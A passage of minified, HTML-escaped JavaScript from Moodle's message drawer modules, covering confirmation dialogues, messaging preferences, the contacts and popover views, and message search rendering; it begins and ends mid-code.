dialogue.find(selector)})),cancelButton=dialogue.find(SELECTORS.CONFIRM_DIALOGUE_CANCEL_BUTTON),okayButton=dialogue.find(SELECTORS.CONFIRM_DIALOGUE_OKAY_BUTTON),text=dialogue.find(SELECTORS.CONFIRM_DIALOGUE_TEXT),dialogueHeader=dialogue.find(SELECTORS.CONFIRM_DIALOGUE_HEADER);(dialogue.find(&quot;button&quot;).addClass(&quot;hidden&quot;),canCancel?cancelButton.removeClass(&quot;hidden&quot;):cancelButton.addClass(&quot;hidden&quot;),showOk?okayButton.removeClass(&quot;hidden&quot;):okayButton.addClass(&quot;hidden&quot;),headerText)?((dialogueHeader=$(&#039;&lt;h3 class=&quot;h6&quot; data-region=&quot;dialogue-header&quot;&gt;&lt;/h3&gt;&#039;)).text(headerText),dialogue.find(SELECTORS.CONFIRM_DIALOGUE).prepend(dialogueHeader)):dialogueHeader.length&amp;&amp;dialogueHeader.remove();buttons.forEach((function(button){button.removeClass(&quot;hidden&quot;)})),text.text(bodyText),showConfirmDialogueContainer(footer),showConfirmDialogueContainer(body),skipHeader||showConfirmDialogueContainer(header),dialogue.find(SELECTORS.CAN_RECEIVE_FOCUS).filter(&quot;:visible&quot;).first().focus()},hideConfirmDialogue=function(header,body,footer){var dialogue=getConfirmDialogueContainer(body),cancelButton=dialogue.find(SELECTORS.CONFIRM_DIALOGUE_CANCEL_BUTTON),okayButton=dialogue.find(SELECTORS.CONFIRM_DIALOGUE_OKAY_BUTTON),text=dialogue.find(SELECTORS.CONFIRM_DIALOGUE_TEXT),dialogueHeader=dialogue.find(SELECTORS.CONFIRM_DIALOGUE_HEADER);return hideCheckDeleteDialogue(body),hideConfirmDialogueContainer(body),hideConfirmDialogueContainer(footer),hideConfirmDialogueContainer(header),dialogue.find(&quot;button&quot;).addClass(&quot;hidden&quot;),cancelButton.removeClass(&quot;hidden&quot;),okayButton.removeClass(&quot;hidden&quot;),text.text(&quot;&quot;),dialogueHeader.length&amp;&amp;dialogueHeader.remove(),header.find(SELECTORS.CAN_RECEIVE_FOCUS).first().focus(),!0},renderConfirmBlockUser=function(header,body,footer,user){return user?user.canmessageevenifblocked?Str.get_string(&quot;cantblockuser&quot;,&quot;core_message&quot;,user.fullname).then((function(string){return showConfirmDialogue(header,body,footer,[],string,&quot;&quot;,!1,!1,!0)})):Str.get_string(&quot;blockuserconfirm&quot;,&quot;core_message&quot;,user.fullname).then((function(string){return showConfirmDialogue(header,body,footer,[SELECTORS.ACTION_CONFIRM_BLOCK],string,&quot;&quot;,!0,!1)})):hideConfirmDialogue(header,body,footer)},renderConfirmUnblockUser=function(header,body,footer,user){return user?Str.get_string(&quot;unblockuserconfirm&quot;,&quot;core_message&quot;,user.fullname).then((function(string){return showConfirmDialogue(header,body,footer,[SELECTORS.ACTION_CONFIRM_UNBLOCK],string,&quot;&quot;,!0,!1)})):hideConfirmDialogue(header,body,footer)},renderConfirmAddContact=function(header,body,footer,user){return user?Str.get_string(&quot;addcontactconfirm&quot;,&quot;core_message&quot;,user.fullname).then((function(string){return showConfirmDialogue(header,body,footer,[SELECTORS.ACTION_CONFIRM_ADD_CONTACT],string,&quot;&quot;,!0,!1)})):hideConfirmDialogue(header,body,footer)},renderConfirmRemoveContact=function(header,body,footer,user){return user?Str.get_string(&quot;removecontactconfirm&quot;,&quot;core_message&quot;,user.fullname).then((function(string){return showConfirmDialogue(header,body,footer,[SELECTORS.ACTION_CONFIRM_REMOVE_CONTACT],string,&quot;&quot;,!0,!1)})):hideConfirmDialogue(header,body,footer)},renderConfirmDeleteSelectedMessages=function(header,body,footer,data){var showmessage=null;return data.type==CONVERSATION_TYPES.SELF?showmessage=&quot;deleteselectedmessagesconfirmselfconversation&quot;:data.canDeleteMessagesForAllUsers?(showCheckDeleteDialogue(body),showmessage=&quot;deleteforeveryoneselectedmessagesconfirm&quot;):showmessage=&quot;deleteselectedmessagesconfirm&quot;,data.show?Str.get_string(showmessage,&quot;core_message&quot;).then((function(string){return showConfirmDialogue(header,body,footer,[SELECTORS.ACTION_CONFIRM_DELETE_SELECTED_MESSAGES],string,&quot;&quot;,!0,!1)})):hideConfirmDialogue(header,body,footer)},renderConfirmDeleteConversation=function(header,body,footer,type){var showmessage=null;return type==CONVERSATION_TYPES.SELF?showmessage=&quot;deleteallselfconfirm&quot;:type&amp;&amp;(showmessage=&quot;deleteallconfirm&quot;),showmessage?Str.get_string(showmessage,&quot;core_message&quot;).then((function(string){return showConfirmDialogue(header,body,footer,[SELECTORS.ACTION_CONFIRM_DELETE_CONVERSATION],string,&quot;&quot;,!0,!1)})):hideConfirmDialogue(header,body,footer)},renderConfirmContactRequest=function(header,body,footer,user){return user?Str.get_string(&quot;userwouldliketocontactyou&quot;,&quot;core_message&quot;,user.fullname).then((function(string){var buttonSelectors=[SELECTORS.ACTION_ACCEPT_CONTACT_REQUEST,SELECTORS.ACTION_DECLINE_CONTACT_REQUEST];return showConfirmDialogue(header,body,footer,buttonSelectors,string,&quot;&quot;,!1,!0)})):hideConfirmDialogue(header,body,footer)},showCheckDeleteDialogue=function(body){getConfirmDialogueContainer(body).find(SELECTORS.DELETE_MESSAGES_FOR_ALL_USERS_TOGGLE_CONTAINER).removeClass(&quot;hidden&quot;)},hideCheckDeleteDialogue=function(body){var dialogue=getConfirmDialogueContainer(body),checkboxRegion=dialogue.find(SELECTORS.DELETE_MESSAGES_FOR_ALL_USERS_TOGGLE_CONTAINER);dialogue.find(SELECTORS.DELETE_MESSAGES_FOR_ALL_USERS_TOGGLE).prop(&quot;checked&quot;,!1),checkboxRegion.addClass(&quot;hidden&quot;)},renderIsBlocked=function(header,body,footer,isBlocked){isBlocked?(header.find(SELECTORS.ACTION_REQUEST_BLOCK).addClass(&quot;hidden&quot;),header.find(SELECTORS.ACTION_REQUEST_UNBLOCK).removeClass(&quot;hidden&quot;)):(header.find(SELECTORS.ACTION_REQUEST_BLOCK).removeClass(&quot;hidden&quot;),header.find(SELECTORS.ACTION_REQUEST_UNBLOCK).addClass(&quot;hidden&quot;))},renderIsFavourite=function(header,body,footer,state){var favouriteIcon=header.find(SELECTORS.FAVOURITE_ICON_CONTAINER),addFavourite=header.find(SELECTORS.ACTION_CONFIRM_FAVOURITE),removeFavourite=header.find(SELECTORS.ACTION_CONFIRM_UNFAVOURITE);switch(state){case&quot;hide&quot;:favouriteIcon.addClass(&quot;hidden&quot;),addFavourite.addClass(&quot;hidden&quot;),removeFavourite.addClass(&quot;hidden&quot;);break;case&quot;show-add&quot;:favouriteIcon.addClass(&quot;hidden&quot;),addFavourite.removeClass(&quot;hidden&quot;),removeFavourite.addClass(&quot;hidden&quot;);break;case&quot;show-remove&quot;:favouriteIcon.removeClass(&quot;hidden&quot;),addFavourite.addClass(&quot;hidden&quot;),removeFavourite.removeClass(&quot;hidden&quot;)}},renderIsMuted=function(header,body,footer,state){var muteIcon=header.find(SELECTORS.MUTED_ICON_CONTAINER),setMuted=header.find(SELECTORS.ACTION_CONFIRM_MUTE),unsetMuted=header.find(SELECTORS.ACTION_CONFIRM_UNMUTE);switch(state){case&quot;hide&quot;:muteIcon.addClass(&quot;hidden&quot;),setMuted.addClass(&quot;hidden&quot;),unsetMuted.addClass(&quot;hidden&quot;);break;case&quot;show-mute&quot;:muteIcon.addClass(&quot;hidden&quot;),setMuted.removeClass(&quot;hidden&quot;),unsetMuted.addClass(&quot;hidden&quot;);break;case&quot;show-unmute&quot;:muteIcon.removeClass(&quot;hidden&quot;),setMuted.addClass(&quot;hidden&quot;),unsetMuted.removeClass(&quot;hidden&quot;)}},renderIsContact=function(header,body,footer,state){var addContact=header.find(SELECTORS.ACTION_REQUEST_ADD_CONTACT),removeContact=header.find(SELECTORS.ACTION_REQUEST_REMOVE_CONTACT);switch(state){case&quot;pending-contact&quot;:addContact.addClass(&quot;hidden&quot;),removeContact.addClass(&quot;hidden&quot;);break;case&quot;contact&quot;:addContact.addClass(&quot;hidden&quot;),removeContact.removeClass(&quot;hidden&quot;);break;case&quot;non-contact&quot;:addContact.removeClass(&quot;hidden&quot;),removeContact.addClass(&quot;hidden&quot;)}},renderLoadingConfirmAction=function(header,body,footer,isLoading){var dialogue=getConfirmDialogueContainer(body),buttons=dialogue.find(&quot;button&quot;),buttonText=dialogue.find(SELECTORS.CONFIRM_DIALOGUE_BUTTON_TEXT),loadingIcon=dialogue.find(SELECTORS.LOADING_ICON_CONTAINER);isLoading?(buttons.prop(&quot;disabled&quot;,!0),buttonText.addClass(&quot;hidden&quot;),loadingIcon.removeClass(&quot;hidden&quot;)):(buttons.prop(&quot;disabled&quot;,!1),buttonText.removeClass(&quot;hidden&quot;),loadingIcon.addClass(&quot;hidden&quot;))},renderInEditMode=function(header,body,footer,inEditMode){var messages=null;inEditMode?((messages=body.find(SELECTORS.MESSAGE_NOT_SELECTED)).find(SELECTORS.MESSAGE_NOT_SELECTED_ICON).removeClass(&quot;hidden&quot;),hideHeaderContent(header),function(header){getHeaderEditMode(header).removeClass(&quot;hidden&quot;)}(header)):((messages=getMessagesContainer(body)).find(SELECTORS.MESSAGE_NOT_SELECTED_ICON).addClass(&quot;hidden&quot;),messages.find(SELECTORS.MESSAGE_SELECTED_ICON).addClass(&quot;hidden&quot;),showHeaderContent(header),hideHeaderEditMode(header))},renderSelectedMessages=function(header,body,footer,data){var hasSelectedMessages=data.count&gt;0;data.add.length&amp;&amp;data.add.forEach((function(messageId){var message=getMessageElement(body,messageId);message.find(SELECTORS.MESSAGE_NOT_SELECTED_ICON).addClass(&quot;hidden&quot;),message.find(SELECTORS.MESSAGE_SELECTED_ICON).removeClass(&quot;hidden&quot;),message.attr(&quot;aria-checked&quot;,!0)})),data.remove.length&amp;&amp;data.remove.forEach((function(messageId){var message=getMessageElement(body,messageId);hasSelectedMessages&amp;&amp;message.find(SELECTORS.MESSAGE_NOT_SELECTED_ICON).removeClass(&quot;hidden&quot;),message.find(SELECTORS.MESSAGE_SELECTED_ICON).addClass(&quot;hidden&quot;),message.attr(&quot;aria-checked&quot;,!1)})),function(header,value){getHeaderEditMode(header).find(SELECTORS.MESSAGES_SELECTED_COUNT).text(value)}(header,data.count)},renderRequireAddContact=function(header,body,footer,data){return data.show&amp;&amp;!data.hasMessages?Str.get_strings([{key:&quot;requirecontacttomessage&quot;,component:&quot;core_message&quot;,param:data.user.fullname},{key:&quot;isnotinyourcontacts&quot;,component:&quot;core_message&quot;,param:data.user.fullname}]).then((function(strings){var title=strings[1],text=strings[0];return showConfirmDialogue(header,body,footer,[SELECTORS.ACTION_REQUEST_ADD_CONTACT],text,title,!1,!0)})):hideConfirmDialogue(header,body,footer)},renderSelfConversationMessage=function(header,body,footer,displayMessage){var container=getSelfConversationMessageContainer(body);return displayMessage?container.removeClass(&quot;hidden&quot;):container.addClass(&quot;hidden&quot;),!0},renderContactRequestSent=function(header,body,footer,userFullName){var container=getContactRequestSentContainer(body);return userFullName?Str.get_string(&quot;yourcontactrequestpending&quot;,&quot;core_message&quot;,userFullName).then((function(string){return container.find(SELECTORS.TEXT).text(string),container.removeClass(&quot;hidden&quot;),string})):(container.addClass(&quot;hidden&quot;),!0)},renderReset=function(header,body,footer){return hideConfirmDialogue(header,body,footer),function(body){getContactRequestSentContainer(body).addClass(&quot;hidden&quot;)}(body),function(body){getSelfConversationMessageContainer(body).addClass(&quot;hidden&quot;)}(body),function(header){hideHeaderContent(header),hideHeaderEditMode(header),hideHeaderPlaceholder(header)}(header),showHeaderPlaceholder(header),hideAllFooterElements(footer),showFooterPlaceholder(footer),!0};return{render:function(header,body,footer,patch){var configs=[{reset:renderReset},{conversation:renderConversation,header:renderHeader,footer:renderFooter,confirmBlockUser:renderConfirmBlockUser,confirmUnblockUser:renderConfirmUnblockUser,confirmAddContact:renderConfirmAddContact,confirmRemoveContact:renderConfirmRemoveContact,confirmDeleteSelectedMessages:renderConfirmDeleteSelectedMessages,confirmDeleteConversation:renderConfirmDeleteConversation,confirmContactRequest:renderConfirmContactRequest,requireAddContact:renderRequireAddContact,selfConversationMessage:renderSelfConversationMessage,contactRequestSent:renderContactRequestSent},{loadingMembers:renderLoadingMembers,loadingFirstMessages:renderLoadingFirstMessages,loadingMessages:renderLoadingMessages,isBlocked:renderIsBlocked,isContact:renderIsContact,isFavourite:renderIsFavourite,isMuted:renderIsMuted,loadingConfirmAction:renderLoadingConfirmAction,inEditMode:renderInEditMode,showEmojiPicker:renderShowEmojiPicker,showEmojiAutoComplete:renderShowEmojiAutoComplete},{scrollToMessage:renderScrollToMessage,selectedMessages:renderSelectedMessages}],processConfig=function(config){var results=[];for(var key in patch)if(config.hasOwnProperty(key)){var renderFunc=config[key],patchValue=patch[key];results.push(renderFunc(header,body,footer,patchValue))}return results},renderingPromises=processConfig(configs[0]);return renderingPromises=renderingPromises.concat(processConfig(configs[1])),$.when.apply($,renderingPromises).then((function(){for(var i=2;i&lt;configs.length;i++)processConfig(configs[i])})).catch(Notification.exception)}}}));
/**
 * Controls the settings page in the message drawer.
 *
 * @module     core_message/message_drawer_view_settings
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_drawer_view_settings&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;core/pubsub&quot;,&quot;core/templates&quot;,&quot;core_message/message_repository&quot;,&quot;core/custom_interaction_events&quot;,&quot;core_message/message_drawer_events&quot;],(function($,Notification,Str,PubSub,Templates,Repository,CustomEvents,MessageDrawerEvents){var SELECTORS_CHECKBOX=&#039;input[type=&quot;checkbox&quot;]&#039;,SELECTORS_SETTINGS=&#039;[data-region=&quot;settings&quot;]&#039;,SELECTORS_PRIVACY_PREFERENCE=&#039;[data-preference=&quot;blocknoncontacts&quot;] input[type=&quot;radio&quot;]&#039;,SELECTORS_NOTIFICATIONS_PREFERENCE=&#039;[data-preference=&quot;notifications&quot;] input[type=&quot;checkbox&quot;]&#039;,SELECTORS_ENTER_TO_SEND_PREFERENCE=&#039;[data-preference=&quot;entertosend&quot;] input[type=&quot;checkbox&quot;]&#039;,SELECTORS_NOTIFICATION_PREFERENCES_CONTAINER=&#039;[data-region=&quot;notification-preference-container&quot;]&#039;,SELECTORS_CONTENT_CONTAINER=&#039;[data-region=&quot;content-container&quot;]&#039;,SELECTORS_PLACEHOLDER_CONTAINER=&#039;[data-region=&quot;placeholder-container&quot;]&#039;,TEMPLATES_NOTIFICATION_PREFERENCES=&quot;core_message/message_drawer_view_settings_body_content_notification_preferences&quot;,savePreferences=function(loggedInUserId,preferences){return Repository.savePreferences(loggedInUserId,preferences).then((function(){PubSub.publish(MessageDrawerEvents.PREFERENCES_UPDATED,preferences)})).catch(Notification.exception)},init=function(body,loggedInUserId){Repository.getUserMessagePreferences(loggedInUserId).then((function(response){!function(body,value){body.find(SELECTORS_PRIVACY_PREFERENCE).each((function(index,input){(input=$(input)).val()==value?input.prop(&quot;checked&quot;,!0):input.prop(&quot;checked&quot;,!1)}))}(body,response.blocknoncontacts),function(body,value){var checkbox=body.find(SELECTORS_ENTER_TO_SEND_PREFERENCE);value?checkbox.prop(&quot;checked&quot;,!0):checkbox.prop(&quot;checked&quot;,!1)}(body,response.entertosend);var notificationProcessors=[];response.preferences.components.length&amp;&amp;response.preferences.components.forEach((function(component){if(component.notifications.length&amp;&amp;component.notifications.filter((function(notification){return&quot;message_provider_moodle_instantmessage&quot;==notification.preferencekey})).length){var configuration=component.notifications[0];notificationProcessors=configuration.processors.map((function(processor){var checked=processor.enabled;return{displayname:processor.displayname,name:processor.name,checked:checked,locked:processor.locked,lockedmessage:processor.lockedmessage||null}}))}}));var container=body.find(SELECTORS_NOTIFICATION_PREFERENCES_CONTAINER);return!notificationProcessors.length||(container.removeClass(&quot;hidden&quot;),Templates.render(TEMPLATES_NOTIFICATION_PREFERENCES,{processors:notificationProcessors}).then((function(html){return container.append(html),html})))})).then((function(){body.find(SELECTORS_CONTENT_CONTAINER).removeClass(&quot;hidden&quot;),body.find(SELECTORS_PLACEHOLDER_CONTAINER).addClass(&quot;hidden&quot;),function(body,loggedInUserId){var settingsContainer=body.find(SELECTORS_SETTINGS);CustomEvents.define(settingsContainer,[CustomEvents.events.activate]),settingsContainer.on(CustomEvents.events.activate,SELECTORS_NOTIFICATIONS_PREFERENCE,(function(e){var checkboxes=$(e.target).closest(SELECTORS_NOTIFICATION_PREFERENCES_CONTAINER).find(SELECTORS_CHECKBOX);if(checkboxes.length){var values=checkboxes.toArray().reduce((function(carry,checkbox){return(checkbox=$(checkbox)).prop(&quot;checked&quot;)&amp;&amp;carry.push(checkbox.attr(&quot;data-name&quot;)),carry}),[]),newValue=values.length?values.join(&quot;,&quot;):&quot;none&quot;;savePreferences(loggedInUserId,[{type:&quot;message_provider_moodle_instantmessage_enabled&quot;,value:newValue}])}})),settingsContainer.on(&quot;change&quot;,SELECTORS_PRIVACY_PREFERENCE,(function(e){var newValue=$(e.target).val();savePreferences(loggedInUserId,[{type:&quot;message_blocknoncontacts&quot;,value:newValue}])})),settingsContainer.on(CustomEvents.events.activate,SELECTORS_ENTER_TO_SEND_PREFERENCE,(function(e){var newValue=$(e.target).prop(&quot;checked&quot;);savePreferences(loggedInUserId,[{type:&quot;message_entertosend&quot;,value:newValue}])}))}(body,loggedInUserId)})).catch(Notification.exception)};return{show:function(namespace,header,body,footer,loggedInUserId){return body.attr(&quot;data-init&quot;)||(init(body,loggedInUserId),body.attr(&quot;data-init&quot;,!0)),$.Deferred().resolve().promise()},description:function(){return Str.get_string(&quot;messagedrawerviewsettings&quot;,&quot;core_message&quot;)}}}));
/**
 * Controls the contacts page of the message drawer.
 *
 * @module     core_message/message_drawer_view_contacts
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_drawer_view_contacts&quot;,[&quot;jquery&quot;,&quot;core/pubsub&quot;,&quot;core/str&quot;,&quot;core_message/message_drawer_events&quot;,&quot;core_message/message_drawer_view_contacts_section_contacts&quot;,&quot;core_message/message_drawer_view_contacts_section_requests&quot;],(function($,PubSub,Str,MessageDrawerEvents,ContactsSection,RequestsSection){var SELECTORS_ACTION_SHOW_CONTACTS_SECTION=&#039;[data-action=&quot;show-contacts-section&quot;]&#039;,SELECTORS_ACTION_SHOW_REQUESTS_SECTION=&#039;[data-action=&quot;show-requests-section&quot;]&#039;,SELECTORS_CONTACT_REQUEST_COUNT=&#039;[data-region=&quot;contact-request-count&quot;]&#039;,SELECTORS_CONTACTS_SECTION_CONTAINER=&#039;[data-section=&quot;contacts&quot;]&#039;,SELECTORS_REQUESTS_SECTION_CONTAINER=&#039;[data-section=&quot;requests&quot;]&#039;,getContactsSectionContainer=function(body){return body.find(SELECTORS_CONTACTS_SECTION_CONTAINER)},getRequestsSectionContainer=function(body){return body.find(SELECTORS_REQUESTS_SECTION_CONTAINER)},getShowContactsAction=function(body){return body.find(SELECTORS_ACTION_SHOW_CONTACTS_SECTION)},getShowRequestsAction=function(body){return body.find(SELECTORS_ACTION_SHOW_REQUESTS_SECTION)},decrementContactRequestCount=function(body){return function(){var countContainer=body.find(SELECTORS_CONTACT_REQUEST_COUNT),count=parseInt(countContainer.text(),10);(count=isNaN(count)?0:count-1)&lt;=0?countContainer.addClass(&quot;hidden&quot;):countContainer.text(count)}};return{show:function(namespace,header,body,footer,tab){(body=$(body)).attr(&quot;data-contacts-init&quot;)||(!function(body){var contactsSection=getContactsSectionContainer(body),requestsSection=getRequestsSectionContainer(body),showContactsAction=getShowContactsAction(body),showRequestsAction=getShowRequestsAction(body);showContactsAction.on(&quot;show.bs.tab&quot;,(function(){ContactsSection.show(contactsSection)})),showRequestsAction.on(&quot;show.bs.tab&quot;,(function(){RequestsSection.show(requestsSection)})),PubSub.subscribe(MessageDrawerEvents.CONTACT_REQUEST_ACCEPTED,decrementContactRequestCount(body)),PubSub.subscribe(MessageDrawerEvents.CONTACT_REQUEST_DECLINED,decrementContactRequestCount(body))}(body),body.attr(&quot;data-contacts-init&quot;,!0));var contactsSection=getContactsSectionContainer(body),requestsSection=getRequestsSectionContainer(body);if(tab){var showContactsAction=getShowContactsAction(body),showRequestsAction=getShowRequestsAction(body);&quot;requests&quot;==tab?(showContactsAction.removeClass(&quot;active&quot;),contactsSection.removeClass(&quot;show active&quot;),showRequestsAction.addClass(&quot;active&quot;),requestsSection.addClass(&quot;show active&quot;)):(showRequestsAction.removeClass(&quot;active&quot;),requestsSection.removeClass(&quot;show active&quot;),showContactsAction.addClass(&quot;active&quot;),contactsSection.addClass(&quot;show active&quot;))}return contactsSection.hasClass(&quot;active&quot;)?ContactsSection.show(contactsSection):RequestsSection.show(requestsSection),$.Deferred().resolve().promise()},description:function(){return Str.get_string(&quot;messagedrawerviewcontacts&quot;,&quot;core_message&quot;)}}}));
/**
 * Controls the message popover in the nav bar.
 *
 * @module     core_message/message_popover
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_popover&quot;,[&quot;jquery&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/pubsub&quot;,&quot;core_message/message_drawer_events&quot;],(function($,CustomEvents,PubSub,MessageDrawerEvents){var SELECTORS_COUNT_CONTAINER=&#039;[data-region=&quot;count-container&quot;]&#039;,handleDecrementConversationCount=function(button){return function(){var countContainer=button.find(SELECTORS_COUNT_CONTAINER),count=parseInt(countContainer.text(),10);isNaN(count)||!count||count&lt;2?countContainer.addClass(&quot;hidden&quot;):(count-=1,countContainer.text(count))}},registerEventListeners=function(button){CustomEvents.define(button,[CustomEvents.events.activate]),button.on(CustomEvents.events.activate,(function(e,data){var buttonid;buttonid=button.attr(&quot;id&quot;),PubSub.publish(MessageDrawerEvents.TOGGLE_VISIBILITY,buttonid),button.focus(),data.originalEvent.preventDefault()})),PubSub.subscribe(MessageDrawerEvents.CONVERSATION_READ,handleDecrementConversationCount(button)),PubSub.subscribe(MessageDrawerEvents.CONTACT_REQUEST_ACCEPTED,handleDecrementConversationCount(button)),PubSub.subscribe(MessageDrawerEvents.CONTACT_REQUEST_DECLINED,handleDecrementConversationCount(button))};return{init:function(button){button=$(button),registerEventListeners(button)}}}));
/**
 * Controls the search page of the message drawer.
 *
 * @module     core_message/message_drawer_view_search
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_message/message_drawer_view_search&quot;,[&quot;jquery&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/notification&quot;,&quot;core/pubsub&quot;,&quot;core/str&quot;,&quot;core/templates&quot;,&quot;core_message/message_repository&quot;,&quot;core_message/message_drawer_events&quot;],(function($,CustomEvents,Notification,PubSub,Str,Templates,Repository,Events){var SELECTORS_BLOCK_ICON_CONTAINER=&#039;[data-region=&quot;block-icon-container&quot;]&#039;,SELECTORS_CANCEL_SEARCH_BUTTON=&#039;[data-action=&quot;cancel-search&quot;]&#039;,SELECTORS_CONTACTS_CONTAINER=&#039;[data-region=&quot;contacts-container&quot;]&#039;,SELECTORS_CONTACTS_LIST=&#039;[data-region=&quot;contacts-container&quot;] [data-region=&quot;list&quot;]&#039;,SELECTORS_EMPTY_MESSAGE_CONTAINER=&#039;[data-region=&quot;empty-message-container&quot;]&#039;,SELECTORS_LIST=&#039;[data-region=&quot;list&quot;]&#039;,SELECTORS_LOADING_ICON_CONTAINER=&#039;[data-region=&quot;loading-icon-container&quot;]&#039;,SELECTORS_LOADING_PLACEHOLDER=&#039;[data-region=&quot;loading-placeholder&quot;]&#039;,SELECTORS_MESSAGES_LIST=&#039;[data-region=&quot;messages-container&quot;] [data-region=&quot;list&quot;]&#039;,SELECTORS_MESSAGES_CONTAINER=&#039;[data-region=&quot;messages-container&quot;]&#039;,SELECTORS_NON_CONTACTS_CONTAINER=&#039;[data-region=&quot;non-contacts-container&quot;]&#039;,SELECTORS_NON_CONTACTS_LIST=&#039;[data-region=&quot;non-contacts-container&quot;] [data-region=&quot;list&quot;]&#039;,SELECTORS_SEARCH_ICON_CONTAINER=&#039;[data-region=&quot;search-icon-container&quot;]&#039;,SELECTORS_SEARCH_ACTION=&#039;[data-action=&quot;search&quot;]&#039;,SELECTORS_SEARCH_INPUT=&#039;[data-region=&quot;search-input&quot;]&#039;,SELECTORS_SEARCH_RESULTS_CONTAINER=&#039;[data-region=&quot;search-results-container&quot;]&#039;,SELECTORS_LOAD_MORE_USERS=&#039;[data-action=&quot;load-more-users&quot;]&#039;,SELECTORS_LOAD_MORE_MESSAGES=&#039;[data-action=&quot;load-more-messages&quot;]&#039;,SELECTORS_BUTTON_TEXT=&#039;[data-region=&quot;button-text&quot;]&#039;,SELECTORS_NO_RESULTS_CONTAINTER=&#039;[data-region=&quot;no-results-container&quot;]&#039;,SELECTORS_ALL_CONTACTS_CONTAINER=&#039;[data-region=&quot;all-contacts-container&quot;]&#039;,TEMPLATES_CONTACTS_LIST=&quot;core_message/message_drawer_contacts_list&quot;,TEMPLATES_NON_CONTACTS_LIST=&quot;core_message/message_drawer_non_contacts_list&quot;,TEMPLATES_MESSAGES_LIST=&quot;core_message/message_drawer_messages_list&quot;,getLoggedInUserId=function(body){return body.attr(&quot;data-user-id&quot;)},getEmptyMessageContainer=function(body){return body.find(SELECTORS_EMPTY_MESSAGE_CONTAINER)},getLoadingIconContainer=function(header){return header.find(SELECTORS_LOADING_ICON_CONTAINER)},getLoadingPlaceholder=function(body){return body.find(SELECTORS_LOADING_PLACEHOLDER)},getSearchIconContainer=function(header){return header.find(SELECTORS_SEARCH_ICON_CONTAINER)},getSearchInput=function(header){return header.find(SELECTORS_SEARCH_INPUT)},getSearchResultsContainer=function(body){return body.find(SELECTORS_SEARCH_RESULTS_CONTAINER)},getContactsContainer=function(body){return body.find(SELECTORS_CONTACTS_CONTAINER)},getNonContactsContainer=function(body){return body.find(SELECTORS_NON_CONTACTS_CONTAINER)},hideEmptyMessage=function(body){getEmptyMessageContainer(body).addClass(&quot;hidden&quot;)},hideLoadingIcon=function(header){getLoadingIconContainer(header).addClass(&quot;hidden&quot;)},hideLoadingPlaceholder=function(body){getLoadingPlaceholder(body).addClass(&quot;hidden&quot;)},showSearchIcon=function(header){getSearchIconContainer(header).removeClass(&quot;hidden&quot;)},hideSearchResults=function(body){getSearchResultsContainer(body).addClass(&quot;hidden&quot;)},clearAllSearchResults=function(body){body.find(SELECTORS_CONTACTS_LIST).empty(),body.find(SELECTORS_NON_CONTACTS_LIST).empty(),body.find(SELECTORS_MESSAGES_LIST).empty(),function(body){var container=getSearchResultsContainer(body);container.find(SELECTORS_ALL_CONTACTS_CONTAINER).removeClass(&quot;hidden&quot;),container.find(SELECTORS_MESSAGES_CONTAINER).removeClass(&quot;hidden&quot;),container.find(SELECTORS_NO_RESULTS_CONTAINTER).addClass(&quot;hidden&quot;)}(body),function(body){getSearchResultsContainer(body).find(SELECTORS_ALL_CONTACTS_CONTAINER).removeClass(&quot;hidden&quot;)}(body),function(body){getSearchResultsContainer(body).find(SELECTORS_CONTACTS_CONTAINER).removeClass(&quot;hidden&quot;)}(body),function(body){getSearchResultsContainer(body).find(SELECTORS_NON_CONTACTS_CONTAINER).removeClass(&quot;hidden&quot;)}(body),function(body){getSearchResultsContainer(body).find(SELECTORS_MESSAGES_CONTAINER).removeClass(&quot;hidden&quot;)}(body),showLoadMoreUsersButton(body),showLoadMoreMessagesButton(body)},startLoading=function(header,body){!function(header){getSearchIconContainer(header).addClass(&quot;hidden&quot;)}(header),hideEmptyMessage(body),hideSearchResults(body),function(header){getLoadingIconContainer(header).removeClass(&quot;hidden&quot;)}(header),function(body){getLoadingPlaceholder(body).removeClass(&quot;hidden&quot;)}(body),function(header){getSearchInput(header).prop(&quot;disabled&quot;,!0)}(header)},stopLoading=function(header,body){showSearchIcon(header),hideEmptyMessage(body),function(body){getSearchResultsContainer(body).removeClass(&quot;hidden&quot;)}(body),hideLoadingIcon(header),hideLoadingPlaceholder(body),function(header){getSearchInput(header).prop(&quot;disabled&quot;,!1)}(header)},hideUsersLoadingIcon=function(root){var button=root.find(SELECTORS_LOAD_MORE_USERS);button.prop(&quot;disabled&quot;,!1),button.find(SELECTORS_BUTTON_TEXT).removeClass(&quot;hidden&quot;),button.find(SELECTORS_LOADING_ICON_CONTAINER).addClass(&quot;hidden&quot;)},showLoadMoreUsersButton=function(root){root.find(SELECTORS_LOAD_MORE_USERS).removeClass(&quot;hidden&quot;)},hideMessagesLoadingIcon=function(root){var button=root.find(SELECTORS_LOAD_MORE_MESSAGES);button.prop(&quot;disabled&quot;,!1),button.find(SELECTORS_BUTTON_TEXT).removeClass(&quot;hidden&quot;),button.find(SELECTORS_LOADING_ICON_CONTAINER).addClass(&quot;hidden&quot;)},showLoadMoreMessagesButton=function(root){root.find(SELECTORS_LOAD_MORE_MESSAGES).removeClass(&quot;hidden&quot;)},findContact=function(root,userId){return root.find(&#039;[data-contact-user-id=&quot;&#039;+userId+&#039;&quot;]&#039;)},highlightSearch=function(content,searchText){if(!content)return&quot;&quot;;var regex=new RegExp(&quot;(&quot;+searchText+&quot;)&quot;,&quot;gi&quot;);return content.replace(regex,&#039;&lt;span class=&quot;matchtext&quot;&gt;$1&lt;/span&gt;&#039;)},renderMessages=function(root,messages){var container=root.find(SELECTORS_MESSAGES_CONTAINER),frompanel=root.attr(&quot;data-in-panel&quot;),list=container.find(SELECTORS_LIST);return Templates.render(TEMPLATES_MESSAGES_LIST,{messages:messages,frompanel:frompanel}).then((function(html){return 